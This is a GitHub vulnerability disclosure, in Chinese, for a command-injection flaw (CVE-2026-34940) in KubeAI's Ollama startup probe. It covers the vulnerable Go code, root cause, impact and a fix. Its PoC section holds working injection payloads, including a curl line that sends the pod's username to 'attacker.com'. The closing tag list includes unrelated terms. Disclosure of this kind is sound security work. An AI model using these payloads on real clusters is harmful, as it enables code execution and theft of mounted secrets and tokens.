romain-deperne/CVE-2026-34940

GitHub: romain-deperne/CVE-2026-34940

该仓库披露了 KubeAI Ollama 引擎中因 Model URL 未过滤 shell 元字符而导致的高危命令注入漏洞,并提供了详细的分析与 PoC。

Stars: 0 | Forks: 0

# CVE-2026-34940 — KubeAI 中通过 Ollama startup probe 的 Model URL 导致的操作系统命令注入 **严重性**:高 (CVSS 8.7) **CWE**:CWE-78 — 操作系统命令中使用的特殊元素的不当中和 **受影响版本**:`github.com/kubeai-project/kubeai` <= commit ba1824e **安全通告**:[GHSA](https://github.com/kubeai-project/kubeai/security/advisories) **NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-34940 ## 概述 `KubeAI` 在 Go 语言中通过 `fmt.Sprintf`,将 Model CRD 的 URL 组件(`ref`、`modelParam`)插入到 `bash -c` 命令中,从而构建出 Kubernetes 的 startup probe shell 脚本。URL 中的 shell 元字符未经过过滤清理,使得任何拥有 `Model` CRD 创建/更新 RBAC 权限的用户,都能够在不需要 cluster-admin 权限的情况下,在 model server pod 内部执行任意命令。 ## 发现过程 当时我正在研究 Kubernetes AI 推理 operators——这些工具允许你通过创建 CRD 将 LLM 部署为 K8s 工作负载。KubeAI 支持 Ollama、vLLM 和其他引擎。我的假设是:如果用户可以创建 `Model` CRD,他们能否影响 model pod 内部运行的程序? vLLM 引擎的代码立刻展示了正确的模式:参数以字符串数组的形式传递给 `exec`,没有涉及 shell。因此我转而查看 Ollama 引擎以作对比——结果发现了将 `fmt.Sprintf("%s %s", pullCmd, u.ref)` 传入 `bash -c` 执行的情况。这是一个经典的 shell 注入设定。 URL 解析器的正则表达式 `[^?]+`(匹配除 `?` 以外的所有字符)更是坐实了这一点:分号、反引号、`$()` 在 `u.ref` 中都是合法的。我编写了 PoC YAML 并应用它,随后观察到 `id > /tmp/pwned` 在 model pod 内成功执行。 使得此漏洞危害升级的微妙之处在于:在多租户 K8s 集群中,`Model` CRD 的 RBAC 权限通常会被授予那些明确**不是** cluster-admin 的团队。这为拥有受限权限的租户提供了一条在 model pod 中执行任意代码的直接路径——包括访问已挂载的 secrets 和 service account token。它突破了 K8s RBAC 本应强制执行的特权边界。 ## 受影响的组件 **文件**:`internal/modelcontroller/engine_ollama.go`,第 185–196 行 ``` func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string { // u.ref and u.modelParam come from the Model CRD URL field — user controlled startupScript = fmt.Sprintf( "%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization ) // ... } ``` 该字符串随后被执行为: ``` Command: []string{"bash", "-c", startupProbeScript} ``` **URL 解析器**(`model_source.go`): ``` var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`) // Capture group 2 ([^?]+) allows any character except '?' // Shell metacharacters ; | $() ` are all valid ``` **与 vLLM 引擎的对比**(安全): ``` // engine_vllm.go — args passed as array, no shell involved args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name} ``` ## 根本原因 Ollama 引擎采用了一种捷径:它将多步的 shell pipeline 构建为字符串,并将其传递给 `bash -c`。而 vLLM 引擎使用了 `exec` 风格的参数数组。没有准入 webhook 或 CRD schema 验证将 URL 字段限制为安全字符。 ## PoC 参见 [`poc.yaml`](./poc.yaml) —— 在运行带有 Ollama models 的 KubeAI 集群上使用 `kubectl apply -f poc.yaml` 应用它。 **利用向量 1 — `ollama://` URL ref(分号注入):** ``` url: "ollama://registry.example.com/model;id>/tmp/pwned;echo" ``` 生成的 startup probe: ``` /bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \ /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject ``` `id>/tmp/pwned` 将会执行,并在 pod 内部将 `uid=0(root)...` 写入 `/tmp/pwned`。 **利用向量 2 — `?model=` 查询参数(OOB 数据外发):** ``` url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo" ``` 生成的 probe: ``` /bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc ``` 将 pod 的用户名外发到攻击者控制的服务器。 ## 影响 1. 任何拥有 `Model` CRD RBAC 权限的用户都可以在 model server pod 中实现**任意命令执行** 2. **多租户集群中的权限提升路径**——受限租户可以在 pod 中执行代码、访问已挂载的 secrets 和 service account token,并可能进行横向移动 3. **环境变量外发**——API 密钥、凭证以及挂载在 pod 中的云提供商 token ## 修复建议 将 `bash -c ` 替换为将参数作为数组传递的 exec 风格 probe(正如 vLLM 引擎已经做到的那样),或者在字符串插值之前,针对 `^[a-zA-Z0-9._:/-]+$` 验证 URL 字段。 ## 时间线 - **发现**:2026-03-xx - **报告**:GHSA 私有安全通告 - **CVE 发布**:CVE-2026-34940
标签:AI安全, AI风险缓解, Chat Copilot, Chrome Headless, CVE-2026-34940, CVSS 8.7, CWE-78, DLL 劫持, GHSA, Go语言, Go语言工具, KubeAI, Kubernetes安全, LLM评估, NVD, Ollama, OS命令注入, POC, RBAC提权, Shell元字符, Shell注入, vLLM, Web截图, 协议分析, 命令注入, 多租户安全, 大模型推理, 大语言模型, 子域名突变, 安全漏洞, 容器安全, 应用安全, 提示词注入, 数据展示, 日志审计, 权限提升, 漏洞分析, 程序破解, 红队, 路径探测, 输入校验不当